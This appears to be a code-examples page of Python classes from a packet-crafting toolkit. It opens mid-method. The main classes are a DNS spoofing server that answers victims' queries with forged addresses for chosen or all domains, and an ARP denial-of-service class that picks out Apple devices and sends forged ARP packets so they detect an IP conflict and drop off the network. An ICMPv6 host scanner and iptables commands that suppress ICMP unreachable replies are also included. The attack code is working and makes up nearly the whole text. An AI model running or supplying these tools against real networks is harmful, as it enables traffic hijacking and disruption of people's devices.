            if listen_network_interface != 'lo':
                if target_mac_address is not None:
                    network_filters['Ethernet'] = {
                        'source': target_mac_address
                    }
                else:
                    network_filters['Ethernet'] = {
                        'not-source': your_mac_address
                    }
                if target_ipv4_address is not None:
                    network_filters['IPv4'] = {
                        'source-ip': target_ipv4_address
                    }
                if target_ipv6_address is not None:
                    network_filters['IPv6'] = {
                        'source-ip': target_ipv6_address
                    }
                network_filters['IPv4'] = {'not-source-ip': '127.0.0.1'}
                network_filters['IPv6'] = {'not-source-ip': '::1'}
                network_filters['UDP'] = {'destination-port': listen_port}
            else:
                network_filters['Ethernet'] = {
                    'source': '00:00:00:00:00:00',
                    'destination': '00:00:00:00:00:00'
                }
                network_filters['IPv4'] = {
                    'source-ip': '127.0.0.1',
                    'destination-ip': '127.0.0.1'
                }
                network_filters['IPv6'] = {
                    'source-ip': '::1',
                    'destination-ip': '::1'
                }
                network_filters['UDP'] = {'destination-port': listen_port}
            # endregion

            # region Start sniffer
            if listen_ipv6:
                if disable_ipv4:
                    self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'],
                                     prn=self._reply,
                                     filters=network_filters)
                else:
                    self.sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS'],
                                     prn=self._reply,
                                     filters=network_filters)
            else:
                self.sniff.start(protocols=['IPv4', 'UDP', 'DNS'],
                                 prn=self._reply,
                                 filters=network_filters)
            # endregion

            # endregion

        except AssertionError as Error:
            self.base.print_error(Error.args[0])
            exit(1)

        except JSONDecodeError:
            self.base.print_error('Could not parse config file: ', config_file,
                                  ' invalid json syntax')
            exit(1)
Exemple #12
0
class DnsServer:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _dns: RawDNS = RawDNS()

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv4-address': None,
        'ipv6-address': None
    }
    _config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict()

    _A_DNS_QUERY: int = 1
    _AAAA_DNS_QUERY: int = 28
    _NS_DNS_QUERY: int = 2
    _MX_DNS_QUERY: int = 15

    _log_file_name: Union[None, str] = None
    _log_file_format: Union[None, str] = None
    _quit: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

        if self._base.get_platform().startswith('Linux'):
            run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP',
                shell=True)
            run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP',
                shell=True)

    # endregion

    # region Start DNS Server
    def start(self,
              listen_port: int = 53,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              fake_answers: bool = False,
              fake_ipv4_addresses: List[str] = [],
              fake_ipv6_addresses: List[str] = [],
              fake_domains_regexp: List[str] = [],
              no_such_domains: List[str] = [],
              listen_ipv6: bool = True,
              disable_ipv4: bool = False,
              success_domains: List[str] = [],
              config_file: Union[None, str] = None,
              log_file_name: str = 'dns_server_log',
              log_file_format: str = 'csv',
              quiet: bool = False) -> None:
        try:

            # region Variables
            self._log_file_name = log_file_name
            self._log_file_format = log_file_format
            self._quit = quiet
            # endregion

            # region Set listen UDP port
            if listen_port != 53:
                self._utils.check_value_in_range(
                    value=listen_port,
                    first_value=0,
                    last_value=65536,
                    parameter_name='listen UDP port')
            # endregion

            # region Check your IPv6 address
            if self._your['ipv6-link-address'] is None:
                self._your[
                    'ipv6-link-address'] = self._base.make_ipv6_link_address(
                        self._your['mac-address'])
            # endregion

            # region Check config file
            if config_file is not None:
                assert isfile(
                    config_file
                ), 'Not found config file: ' + self._base.error_text(
                    str(config_file))
                with open(config_file, 'r') as config_file_descriptor:
                    self._config = load(config_file_descriptor)
            # endregion

            # region Set fake ipv4 addresses
            if len(fake_ipv4_addresses) == 0:
                fake_ipv4_addresses = [self._your['ipv4-address']]
            else:
                for _fake_ipv4_address in fake_ipv4_addresses:
                    self._utils.check_ipv4_address(
                        network_interface=self._your['network-interface'],
                        ipv4_address=_fake_ipv4_address,
                        is_local_ipv4_address=False,
                        parameter_name='fake IPv4 address')
            # endregion

            # region Set fake ipv6 addresses
            if len(fake_ipv6_addresses) == 0:
                fake_ipv6_addresses = [self._your['ipv6-link-address']]
            else:
                for _fake_ipv6_address in fake_ipv6_addresses:
                    self._utils.check_ipv6_address(
                        network_interface=self._your['network-interface'],
                        ipv6_address=_fake_ipv6_address,
                        is_local_ipv6_address=False,
                        parameter_name='fake IPv6 address',
                        check_your_ipv6_address=False)
            # endregion

            # region Set success domains
            for success_domain in success_domains:
                try:
                    self._config[success_domain].update({'success': True})
                except KeyError:
                    self._config[success_domain] = {'success': True}
            # endregion

            # region Set no such domains
            for no_such_domain in no_such_domains:
                try:
                    self._config[no_such_domain].update(
                        {'no such domain': True})
                except KeyError:
                    self._config[no_such_domain] = {'no such domain': True}
            # endregion

            # region Set fake domains regexp
            for _fake_domain_regexp in fake_domains_regexp:
                try:
                    self._config[_fake_domain_regexp].update({
                        'A':
                        fake_ipv4_addresses,
                        'AAAA':
                        fake_ipv6_addresses
                    })
                except KeyError:
                    self._config[_fake_domain_regexp] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Set fake answers
            if fake_answers:
                try:
                    self._config['.*'].update({
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    })
                except KeyError:
                    self._config['.*'] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Check target MAC address
            if target_mac_address is not None:
                self._target['mac-address'] = self._utils.check_mac_address(
                    mac_address=target_mac_address,
                    parameter_name='target MAC address')
            # endregion

            # region Check target IPv4 address
            if target_ipv4_address is not None:
                self._target['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=target_ipv4_address,
                                                   is_local_ipv4_address=False,
                                                   parameter_name='target IPv4 address')
            # endregion

            # region Check target IPv6 address
            if target_ipv6_address is not None:
                self._target['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                                   ipv6_address=target_ipv6_address,
                                                   is_local_ipv6_address=False,
                                                   parameter_name='target IPv6 address')
            # endregion

            # region Script arguments condition check and print info message
            if not self._quit:

                # region Argument fake_answer is set
                if fake_answers:
                    if not disable_ipv4:
                        self._base.print_info(
                            'DNS answer fake IPv4 addresses: [',
                            (', '.join(fake_ipv4_addresses)),
                            '] for all DNS queries')
                    if len(fake_ipv6_addresses) > 0:
                        self._base.print_info(
                            'DNS answer fake IPv6 addresses: [',
                            (', '.join(fake_ipv6_addresses)),
                            '] for all DNS queries')
                # endregion

                # region Argument fake_answer is NOT set
                else:
                    # region Fake domains list is set
                    if len(fake_domains_regexp) > 0:
                        if len(fake_ipv4_addresses) > 0:
                            self._base.print_info(
                                'DNS answer fake IPv4 addresses: [',
                                (', '.join(fake_ipv4_addresses)),
                                '] for domains: [',
                                (', '.join(fake_domains_regexp)), ']')
                        if len(fake_ipv6_addresses) > 0:
                            self._base.print_info(
                                'DNS answer fake IPv6 addresses: [',
                                (', '.join(fake_ipv6_addresses)),
                                '] for domains: [',
                                (', '.join(fake_domains_regexp)), ']')
                    # endregion

                    # region Fake domains list is NOT set
                    else:
                        if fake_ipv4_addresses != [self._your['ipv4-address']]:
                            self._base.print_info(
                                'DNS answer fake IPv4 addresses: [',
                                (', '.join(fake_ipv4_addresses)),
                                '] for all DNS queries')
                        if fake_ipv6_addresses != [
                                self._your['ipv6-link-address']
                        ]:
                            self._base.print_info(
                                'DNS answer fake IPv6 addresses: [',
                                (', '.join(fake_ipv6_addresses)),
                                '] for all DNS queries')
                    # endregion

                # endregion

                # region Print info message
                self._base.print_info('Waiting for a DNS requests ...')
                # endregion

            # endregion

            # region Sniffing DNS requests

            # region Set network filter
            sniff_filters: Dict = {'UDP': {'destination-port': listen_port}}

            if self._your['network-interface'] != 'lo':
                if self._target['mac-address'] is not None:
                    sniff_filters['Ethernet'] = {
                        'source': self._target['mac-address']
                    }
                else:
                    sniff_filters['Ethernet'] = {
                        'not-source': self._your['mac-address']
                    }

                if self._target['ipv4-address'] is not None:
                    sniff_filters['IPv4'] = {
                        'source-ip': self._target['ipv4-address']
                    }

                if self._target['ipv6-address'] is not None:
                    sniff_filters['IPv6'] = {
                        'source-ip': self._target['ipv6-address']
                    }

                sniff_filters['IPv4'] = {'not-source-ip': '127.0.0.1'}
                sniff_filters['IPv6'] = {'not-source-ip': '::1'}
            else:
                sniff_filters['Ethernet'] = {
                    'source': '00:00:00:00:00:00',
                    'destination': '00:00:00:00:00:00'
                }
                sniff_filters['IPv4'] = {
                    'source-ip': '127.0.0.1',
                    'destination-ip': '127.0.0.1'
                }
                sniff_filters['IPv6'] = {
                    'source-ip': '::1',
                    'destination-ip': '::1'
                }
            # endregion

            # region Start sniffer
            if listen_ipv6:
                if disable_ipv4:
                    self._sniff.start(
                        protocols=['IPv6', 'UDP', 'DNS'],
                        prn=self._reply,
                        filters=sniff_filters,
                        network_interface=self._your['network-interface'],
                        scapy_filter='ip6 and udp port ' + str(listen_port))
                else:
                    self._sniff.start(
                        protocols=['IPv4', 'IPv6', 'UDP', 'DNS'],
                        prn=self._reply,
                        filters=sniff_filters,
                        network_interface=self._your['network-interface'],
                        scapy_filter='udp port ' + str(listen_port))
            else:
                self._sniff.start(
                    protocols=['IPv4', 'UDP', 'DNS'],
                    prn=self._reply,
                    filters=sniff_filters,
                    network_interface=self._your['network-interface'],
                    scapy_filter='udp port ' + str(listen_port))
            # endregion

            # endregion

        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)

        except JSONDecodeError:
            self._base.print_error('Could not parse config file: ',
                                   config_file, ' invalid json syntax')
            exit(1)

        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Write log file
    def _write_to_log(self, from_ip_address: str, to_ip_address: str,
                      query_type: str, query_name: str, answer_address: str):

        if not isfile(self._log_file_name + '.' + self._log_file_format):
            with open(file=self._log_file_name + '.' + self._log_file_format,
                      mode='w') as log_file:
                if self._log_file_format == 'csv':
                    log_file.write(
                        'From IP address,To IP address,Query type,Query name,Answer address\n'
                    )
                if self._log_file_format == 'xml':
                    log_file.write(
                        '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n'
                    )
                if self._log_file_format == 'json':
                    log_file.write('{\n"dns_queries": [\n')

        with open(file=self._log_file_name + '.' + self._log_file_format,
                  mode='r+') as log_file:

            log_file_pointer: int = getsize(self._log_file_name + '.' +
                                            self._log_file_format)

            if self._log_file_format == 'csv' or self._log_file_format == 'txt':
                log_file.seek(log_file_pointer)
                log_file.write(from_ip_address + ',' + to_ip_address + ',' +
                               query_type + ',' + query_name + ',' +
                               answer_address + '\n')

            if self._log_file_format == 'json':
                if log_file_pointer > 20:
                    log_file.seek(log_file_pointer - 4, 0)
                    log_file.write(',')
                else:
                    log_file.seek(log_file_pointer)
                dump(
                    {
                        'from_ip_address': from_ip_address,
                        'to_ip_address': to_ip_address,
                        'query_type': query_type,
                        'query_name': query_name,
                        'answer_address': answer_address
                    },
                    log_file,
                    indent=4)
                log_file.write(']\n}\n')

            if self._log_file_format == 'xml':
                log_file.seek(log_file_pointer - 15, 0)
                log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' +
                               from_ip_address + '</from_ip_address>\n' +
                               '\t\t<to_ip_address>' + to_ip_address +
                               '</to_ip_address>\n' + '\t\t<query_type>' +
                               query_type + '</query_type>\n' +
                               '\t\t<query_name>' + query_name +
                               '</query_name>\n' + '\t\t<answer_address>' +
                               answer_address + '</answer_address>\n' +
                               '\t</dns_query>\n' + '</dns_queries>\n')

    # endregion

    # region DNS integer query type to string
    @staticmethod
    def _int_type_to_str_type(query_type: int = 1) -> str:
        if query_type == DnsServer._A_DNS_QUERY:
            return 'A'
        elif query_type == DnsServer._AAAA_DNS_QUERY:
            return 'AAAA'
        elif query_type == DnsServer._NS_DNS_QUERY:
            return 'NS'
        elif query_type == DnsServer._MX_DNS_QUERY:
            return 'MX'
        else:
            return 'A'

    # endregion

    # region DNS string query type to integer
    @staticmethod
    def _str_type_to_int_type(query_type: str = 'A') -> int:
        if query_type == 'A':
            return DnsServer._A_DNS_QUERY
        elif query_type == 'AAAA':
            return DnsServer._AAAA_DNS_QUERY
        elif query_type == 'NS':
            return DnsServer._NS_DNS_QUERY
        elif query_type == 'MX':
            return DnsServer._MX_DNS_QUERY
        else:
            return 1

    # endregion

    # region Get first IPv4 or IPv6 address of domain
    @staticmethod
    def _get_domain_address(query_name: str,
                            query_type: int = 1) -> Union[List[str], None]:

        # region Check DNS query type and set proto
        if query_type == DnsServer._AAAA_DNS_QUERY:
            proto: int = AF_INET6
        elif query_type == DnsServer._A_DNS_QUERY:
            proto: int = AF_INET
        else:
            return None
        # endregion

        # region Resolve query name
        try:
            # Get list of addresses
            addresses = getaddrinfo(query_name, None, proto)
            # Return first address from list
            return [addresses[0][4][0]]
        except gaierror:
            # Could not resolve name
            return None
        # endregion

    # endregion

    # region DNS reply function
    def _reply(self, request: Dict) -> None:
        try:

            # region This request is DNS query
            assert 'DNS' in request.keys(), 'This is not DNS request!'

            for query in request['DNS']['queries']:

                # region Local variables
                assert ('IPv4' in request.keys() or 'IPv6'
                        in request.keys()), 'Not found Network layer protocol!'
                ip_src: Union[None, str] = None
                ip_dst: Union[None, str] = None
                if 'IPv4' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv4']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv4']['source-ip']
                if 'IPv6' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv6']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv6']['source-ip']
                answers: List[Dict[str, Union[int, str]]] = list()
                addresses: Union[None, str, List[str]] = None
                success: bool = False
                # endregion

                # region Check query name
                if query['name'].endswith('.'):
                    query['name']: str = query['name'][:-1]
                # endregion

                # region Check config
                for fake_domain_regexp in self._config.keys():

                    if match(fake_domain_regexp, query['name']):

                        # region No such domain
                        if 'no such domain' in self._config[
                                fake_domain_regexp].keys():
                            if self._config[fake_domain_regexp][
                                    'no such domain']:
                                addresses = ['no such domain']
                                break
                        # endregion

                        # region Success domain
                        if 'success' in self._config[fake_domain_regexp].keys(
                        ):
                            if self._config[fake_domain_regexp]['success']:
                                success = True
                        # endregion

                        # region Fake addresses is set
                        query_type_string: str = self._int_type_to_str_type(
                            query['type'])
                        if query_type_string in self._config[
                                fake_domain_regexp].keys():
                            if type(self._config[fake_domain_regexp]
                                    [query_type_string]) is str:
                                if self._config[fake_domain_regexp][
                                        query_type_string] == 'my ipv4 address':
                                    addresses = [self._your['ipv4-address']]
                                elif self._config[fake_domain_regexp][
                                        query_type_string] == 'my ipv6 address':
                                    addresses = [
                                        self._your['ipv6-link-address']
                                    ]
                                else:
                                    addresses = [
                                        self._config[fake_domain_regexp]
                                        [query_type_string]
                                    ]
                            if type(self._config[fake_domain_regexp]
                                    [query_type_string]) is list:
                                addresses = self._config[fake_domain_regexp][
                                    query_type_string]
                            break
                        # endregion

                        # region Fake address is NOT set
                        else:
                            addresses = self._get_domain_address(
                                query['name'], query['type'])
                        # endregion

                # endregion

                # region DNS query name NOT in fake domains regexp list
                if addresses is None:
                    addresses = self._get_domain_address(
                        query['name'], query['type'])
                # endregion

                # endregion

                # region Answer addresses is set

                assert addresses is not None, 'Addresses in DNS answer is None!'

                # region Create answer list
                dns_answer_flags = 0x8080

                for address in addresses:
                    if address == 'no such domain':
                        dns_answer_flags = 0x8183
                        answers = list()
                        break
                    else:
                        answers.append({
                            'name': query['name'],
                            'type': query['type'],
                            'class': query['class'],
                            'ttl': 65535,
                            'address': address
                        })

                # endregion

                # region Make dns answer packet
                dns_answer_packet: Union[
                    None, bytes] = self._dns.make_response_packet(
                        ethernet_src_mac=request['Ethernet']['destination'],
                        ethernet_dst_mac=request['Ethernet']['source'],
                        ip_src=ip_src,
                        ip_dst=ip_dst,
                        udp_src_port=request['UDP']['destination-port'],
                        udp_dst_port=request['UDP']['source-port'],
                        transaction_id=request['DNS']['transaction-id'],
                        flags=dns_answer_flags,
                        queries=[query],
                        answers_address=answers)
                # endregion

                # region Send DNS answer packet
                if dns_answer_packet is not None:
                    self._raw_send.send_packet(dns_answer_packet)
                # endregion

                # region Print info message
                if success and query['name'] != '':
                    self._base.print_success(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                if not success and query['name'] != '':
                    self._base.print_info(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                self._write_to_log(from_ip_address=ip_dst,
                                   to_ip_address=ip_src,
                                   query_type=self._int_type_to_str_type(
                                       query['type']),
                                   query_name=query['name'],
                                   answer_address=(' '.join(addresses)))
                # endregion

                # endregion

            # endregion

        except AssertionError:
            pass
Exemple #13
0
class AppleArpDos:

    # region Variables
    _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
    _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}
    _quit: bool = False
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv4-address',
                                                                            'first-ipv4-address',
                                                                            'last-ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
    # endregion

    # region Start ARP DOS Apple device
    def start(self,
              target_ip_address: Union[None, str] = None,
              target_mac_address: Union[None, str] = None,
              quit: bool = False) -> None:
        """
        Start ARP DOS Apple device
        :param target_ip_address: Target IPv4 address (example: '192.168.0.1')
        :param target_mac_address: Target MAC address (example: '12:34:56:78:90:ab')
        :param quit: Quit mode (default: False)
        :return: None
        """
        try:

            # region Set variables
            self._quit = quit
            # endregion

            # region Set target
            self._target = self._utils.set_ipv4_target(network_interface=self._your['network-interface'],
                                                       target_ipv4_address=target_ip_address,
                                                       target_mac_address=target_mac_address,
                                                       target_vendor='apple',
                                                       exclude_ipv4_addresses=[])
            # endregion

            # region Start _sniffer
            self._thread_manager.add_task(self._sniffer)
            # endregion

            # region Send first Multicast ARP request packets
            sleep(3)
            if not self._quit:
                self._base.print_warning('Send initial ARP requests')
            self._send_arp_requests(count_of_packets=10)
            # endregion

            # region Wait for completion
            self._thread_manager.wait_for_completion()
            # endregion

        except AssertionError as Error:
            if not self._quit:
                self._base.print_error(Error.args[0])
            exit(1)

        except KeyboardInterrupt:
            if not self._quit:
                self._base.print_info('Exit')
            exit(0)
    # endregion

    # region ARP request sender
    def _send_arp_requests(self, count_of_packets: int = 10) -> None:
        """
        Send initial network conflict ARP request packets
        :param count_of_packets: Count if ARP request packets (default: 10)
        :return: None
        """
        random_ip_address: str = self._base.get_random_ip_on_interface(self._your['network-interface'])
        arp_init_request = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                                  ethernet_dst_mac=self._target['mac-address'],
                                                  sender_mac=self._your['mac-address'],
                                                  sender_ip=self._target['ipv4-address'],
                                                  target_mac='00:00:00:00:00:00',
                                                  target_ip=random_ip_address)
        self._raw_send.send_packet(packet=arp_init_request, count=count_of_packets, delay=0.5)
    # endregion

    # region ARP reply sender
    def _send_arp_reply(self) -> None:
        """
        Send network conflict ARP reply packet
        :return: None
        """
        arp_reply = self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                            ethernet_dst_mac=self._target['mac-address'],
                                            sender_mac=self._your['mac-address'],
                                            sender_ip=self._target['ipv4-address'],
                                            target_mac=self._target['mac-address'],
                                            target_ip=self._target['ipv4-address'])
        self._raw_send.send_packet(packet=arp_reply)
        if not self._quit:
            self._base.print_info('ARP response to: ', self._target['ipv4-address'],
                                  ' "' + self._target['ipv4-address'] +
                                  ' is at ' + self._your['mac-address'] + '"')
    # endregion

    # region Analyze packet
    def _analyze(self, packet: Dict) -> None:
        """
        Analyze parsed network packet dictionary
        :param packet: Parsed network packet dictionary
        :return: None
        """
        # region ARP packet
        if 'ARP' in packet.keys():
            if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                    packet['ARP']['target-mac'] == '00:00:00:00:00:00' and \
                    packet['ARP']['sender-mac'] == self._target['mac-address'] and \
                    packet['ARP']['target-ip'] == self._target['ipv4-address'] and \
                    packet['ARP']['sender-ip'] == self._target['ipv4-address']:
                if not self._quit:
                    self._base.print_info('ARP Announcement for: ',
                                          packet['ARP']['target-ip'] + ' (' +
                                          packet['ARP']['sender-ip'] + ')')
                self._send_arp_reply()
        # endregion

        # region DHCPv4 packet
        else:
            if 'DHCPv4' in packet.keys():
                if packet['DHCPv4'][53] == 4:
                    self._base.print_success('DHCPv4 Decline from: ', packet['Ethernet']['source'],
                                             ' IPv4 address conflict detection!')
                if packet['DHCPv4'][53] == 3:
                    if 50 in packet['DHCPv4'].keys():
                        self._target['ipv4-address'] = str(packet['DHCPv4'][50])
                        self._send_arp_requests(count_of_packets=10)
                        if not self._quit:
                            self._base.print_success('DHCPv4 Request from: ', self._target['mac-address'],
                                                     ' requested ip: ', self._target['ipv4-address'])
        # endregion
    # endregion

    # region Sniff ARP and DHCP request from target
    def _sniffer(self) -> None:
        """
        Sniff ARP and DHCPv4 packets
        :return: None
        """
        self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._analyze,
                          filters={'Ethernet': {'source': self._target['mac-address']},
                                   'ARP': {'opcode': 1},
                                   'IPv4': {'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255'},
                                   'UDP': {'source-port': 68, 'destination-port': 67}},
                          network_interface=self._your['network-interface'],
                          scapy_filter='arp or (udp and (port 67 or 68))',
                          scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
class ICMPv6Scan:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv6-address': None,
        'mac-address': 'ff:ff:ff:ff:ff:ff',
        'vendor': None
    }

    _results: List[Dict[str, str]] = list()
    _unique_results: List[Dict[str, str]] = list()
    _mac_addresses: List[str] = list()

    _retry_number: int = 3
    _timeout: int = 3

    _icmpv6_identifier: int = 0

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()
            assert 'identifier' in packet['ICMPv6'].keys()

            # 129 Type of ICMPv6 Echo (ping) reply
            assert packet['ICMPv6']['type'] == 129, \
                'Not ICMPv6 Echo (ping) reply packet!'

            # Check ICMPv6 Echo (ping) reply identifier
            assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \
                'ICMPv6 Echo (ping) reply bad identifier'

            # Add MAC- and IPv6-address in result list
            self._results.append({
                'mac-address': packet['Ethernet']['source'],
                'ip-address': packet['IPv6']['source-ip']
            })

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        self._raw_sniff.start(
            protocols=['Ethernet', 'IPv6', 'ICMPv6'],
            prn=self._analyze_packet,
            filters={
                'Ethernet': {
                    'destination': self._your['mac-address']
                },
                'IPv6': {
                    'destination-ip': self._your['ipv6-link-address']
                },
                'ICMPv6': {
                    'type': 129
                }
            },
            network_interface=self._your['network-interface'],
            scapy_filter='icmp6',
            scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_echo_request_packet(
            ethernet_src_mac=self._your['mac-address'],
            ethernet_dst_mac=self._target['mac-address'],
            ipv6_src=self._your['ipv6-link-address'],
            ipv6_dst='ff02::1',
            id=self._icmpv6_identifier)
        self._raw_send.send_packet(packet=request,
                                   count=self._retry_number,
                                   delay=0.3)

    # endregion

    # region Scanner
    def scan(self,
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True,
             exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a',
                                                            'ip-address': 'fe80::1234:5678:90ab:cdef',
                                                            'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self._results.clear()
        self._unique_results.clear()
        self._mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self._base.mac_address_validation(mac_address=target_mac_address,
                                              exit_on_failure=True)
            self._target['mac-address'] = target_mac_address
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        self._icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Unique results
        for index in range(len(self._results)):
            if self._results[index]['mac-address'] not in self._mac_addresses:
                self._unique_results.append(self._results[index])
                self._mac_addresses.append(self._results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self._unique_results)):
                self._unique_results[result_index]['vendor'] = \
                    self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
        # endregion

        # region Exclude IPv6 addresses
        if len(exclude_ipv6_addresses) > 0:
            results: List[Dict[str, str]] = list()
            for unique_result in self._unique_results:
                if unique_result['ip-address'] not in exclude_ipv6_addresses:
                    results.append(unique_result)
            self._unique_results = results
        # endregion

        # region Return results
        if len(self._unique_results) == 0:
            if exit_on_failure:
                self._base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self._your['network-interface'])
                exit(1)
        return self._unique_results